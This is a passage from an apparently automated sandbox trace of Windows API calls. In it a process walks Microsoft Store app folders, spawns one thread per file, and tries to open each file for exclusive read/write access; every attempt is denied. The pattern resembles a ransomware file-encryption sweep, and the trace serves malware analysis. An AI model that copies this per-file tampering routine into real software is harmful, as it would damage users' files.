	[0079.132] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9a1593, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c9a1593, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9c77d0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4be9, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstrap.js", cAlternateFileName="")) returned 1
	[0079.132] wcscmp (_String1="bootstrap.js", _String2=".") returned 1
	[0079.132] wcscmp (_String1="bootstrap.js", _String2="..") returned 1
	[0079.132] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477fdf0
	[0079.132] wcscpy (in: _Dest=0x477fdf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS"
	[0079.132] wcscat (in: _Dest=0x477fdf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\"
	[0079.132] wcscat (in: _Dest=0x477fdf0, _Source="bootstrap.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js"
	[0079.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477fdf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d4
	[0079.141] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9c77d0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c9c77d0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9c77d0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x73d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ormma.js", cAlternateFileName="")) returned 1
	[0079.141] wcscmp (_String1="ormma.js", _String2=".") returned 1
	[0079.141] wcscmp (_String1="ormma.js", _String2="..") returned 1
	[0079.141] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2d6f138
	[0079.142] wcscpy (in: _Dest=0x2d6f138, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS"
	[0079.142] wcscat (in: _Dest=0x2d6f138, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\"
	[0079.142] wcscat (in: _Dest=0x2d6f138, _Source="ormma.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js"
	[0079.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d6f138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d8
	[0079.142] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9c77d0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c9c77d0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9c77d0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x73d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ormma.js", cAlternateFileName="")) returned 0
	[0079.142] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.143] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.143] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea200) returned 1
	[0079.143] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476b8c0) returned 1

Thread:
	id = 695
	os_tid = 0x1a08

	[0079.144] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\platformconfiguration.xml")) returned 0x20
	[0079.145] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.145] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\platformconfiguration.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.145] GetLastError () returned 0x5
	[0079.145] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44ec0) returned 1

Thread:
	id = 696
	os_tid = 0x1a0c

	[0079.146] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0079.147] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0079.147] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.147] GetLastError () returned 0x5
	[0079.147] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0079.147] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476c3b0) returned 1

Thread:
	id = 697
	os_tid = 0x1a10

	[0079.148] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\sqlitewrapper.winmd")) returned 0x20
	[0079.149] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd", dwFileAttributes=0x20) returned 0
	[0079.149] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\sqlitewrapper.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.149] GetLastError () returned 0x5
	[0079.149] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd", dwFileAttributes=0x20) returned 0
	[0079.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ca210) returned 1

Thread:
	id = 698
	os_tid = 0x1a14

	[0079.150] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2d7d3f8
	[0079.150] wcscpy (in: _Dest=0x2d7d3f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes"
	[0079.150] wcscat (in: _Dest=0x2d7d3f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\"
	[0079.150] wcscat (in: _Dest=0x2d7d3f8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\*"
	[0079.150] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.150] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6caf896e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7447d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6caf896e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.151] wcscmp (_String1=".", _String2=".") returned 0
	[0079.151] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6caf896e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7447d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6caf896e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.151] wcscmp (_String1="..", _String2=".") returned 1
	[0079.151] wcscmp (_String1="..", _String2="..") returned 0
	[0079.151] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6caf896e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7452b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6caf896e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0079.151] wcscmp (_String1="Fonts", _String2=".") returned 1
	[0079.151] wcscmp (_String1="Fonts", _String2="..") returned 1
	[0079.151] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x476ab68
	[0079.151] wcscpy (in: _Dest=0x476ab68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes"
	[0079.151] wcscat (in: _Dest=0x476ab68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\"
	[0079.151] wcscat (in: _Dest=0x476ab68, _Source="Fonts" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts"
	[0079.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476ab68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10dc
	[0079.152] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6caf896e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7452b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6caf896e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0
	[0079.152] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.152] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.152] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d3f8) returned 1
	[0079.152] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb8d0) returned 1

Thread:
	id = 699
	os_tid = 0x1a18

	[0079.153] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4769de8
	[0079.153] wcscpy (in: _Dest=0x4769de8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources"
	[0079.153] wcscat (in: _Dest=0x4769de8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\"
	[0079.153] wcscat (in: _Dest=0x4769de8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\*"
	[0079.153] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.153] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d109a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.153] wcscmp (_String1=".", _String2=".") returned 0
	[0079.153] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d109a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.155] wcscmp (_String1="..", _String2=".") returned 1
	[0079.155] wcscmp (_String1="..", _String2="..") returned 0
	[0079.155] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c2c683a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2985, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.rsrc", cAlternateFileName="")) returned 1
	[0079.155] wcscmp (_String1="0.rsrc", _String2=".") returned 1
	[0079.155] wcscmp (_String1="0.rsrc", _String2="..") returned 1
	[0079.155] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47ea6e0
	[0079.155] wcscpy (in: _Dest=0x47ea6e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources"
	[0079.155] wcscat (in: _Dest=0x47ea6e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\"
	[0079.155] wcscat (in: _Dest=0x47ea6e0, _Source="0.rsrc" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc"
	[0079.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ea6e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e0
	[0079.155] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c2c683a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.txt", cAlternateFileName="")) returned 1
	[0079.156] wcscmp (_String1="index.txt", _String2=".") returned 1
	[0079.156] wcscmp (_String1="index.txt", _String2="..") returned 1
	[0079.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ea200
	[0079.156] wcscpy (in: _Dest=0x47ea200, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources"
	[0079.156] wcscat (in: _Dest=0x47ea200, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\"
	[0079.156] wcscat (in: _Dest=0x47ea200, _Source="index.txt" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt"
	[0079.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ea200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e4
	[0079.156] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c2c683a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.txt", cAlternateFileName="")) returned 0
	[0079.156] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.156] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.156] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769de8) returned 1
	[0079.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a7a8) returned 1

Thread:
	id = 700
	os_tid = 0x1a1c

	[0079.158] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\appconfiguration.xml")) returned 0x20
	[0079.158] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.159] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\appconfiguration.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.159] GetLastError () returned 0x5
	[0079.159] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.159] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ca2e0) returned 1

Thread:
	id = 701
	os_tid = 0x1a20

	[0079.160] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0079.160] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0079.160] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.160] GetLastError () returned 0x5
	[0079.160] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0079.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476bf00) returned 1

Thread:
	id = 702
	os_tid = 0x1a24

	[0079.161] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0079.162] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0079.162] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.162] GetLastError () returned 0x5
	[0079.162] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0079.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476cf68) returned 1

Thread:
	id = 703
	os_tid = 0x1a28

	[0079.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4769de8
